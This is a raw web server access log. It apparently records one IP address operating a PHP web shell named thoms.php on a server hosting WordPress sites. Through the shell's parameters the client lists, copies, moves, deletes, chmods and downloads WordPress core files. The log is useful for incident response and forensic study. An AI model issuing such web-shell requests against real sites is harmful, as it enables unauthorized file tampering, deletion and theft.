45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13160 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17305 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17541 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17369 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17480 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 12834 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13533 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17390 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:33 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17357 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18980 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17339 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18980 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17888 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11813 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p= HTTP/1.1" 200 11967 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18017 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 200 12495 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?dl=class-wp-term.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 200 21047 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:35 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?dl=author-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?chmod=style-engine.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?dl=cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?chmod=SimplePie&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ficons.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ficons.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:36 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57942 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fabilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11861 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fabilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 200 14323 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 200 12862 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 200 13940 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?chmod=link-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?chmod=taxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?chmod=template-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 200 18561 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 200 30257 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?chmod=kses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 200 24454 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?del=feed-rdf.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Foption.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11861 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Foption.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:38 -0400] "GET /thoms.php?dl=ms-blogs.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57872 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
